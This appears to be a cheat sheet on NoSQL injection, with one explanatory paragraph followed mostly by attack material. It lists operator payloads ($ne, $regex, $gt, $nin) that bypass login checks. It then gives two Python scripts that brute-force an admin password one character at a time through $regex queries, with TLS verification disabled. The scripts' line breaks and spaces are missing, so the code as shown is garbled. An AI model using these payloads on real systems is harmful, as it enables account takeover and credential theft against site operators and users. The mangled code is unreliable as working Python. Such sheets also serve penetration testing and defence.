NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
How to Exploit
Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
in the request
- username[$ne]=toto&password[$ne]=toto
- login[$regex]=a.*&pass[$ne]=lol
- login[$gt]=admin&login[$lt]=test&pass[$ne]=1
- login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type':'application/json'}whileTrue:for c in string.printable:if c notin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password + c) r = requests.post(u, data = payload, headers = headers, verify =False, allow_redirects =False)if'OK'in r.text or r.status_code ==302:print("Found one more char : %s"% (password+c)) password += c
GET
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username='admin'password=''u='http://example.org/login'whileTrue:for c in string.printable:if c notin ['*','+','.','?','|','#','&','$']: payload='?username=%s&password[$regex]=^%s'% (username, password + c) r = requests.get(u + payload)if'Yeah'in r.text:print("Found one more char : %s"% (password+c)) password += c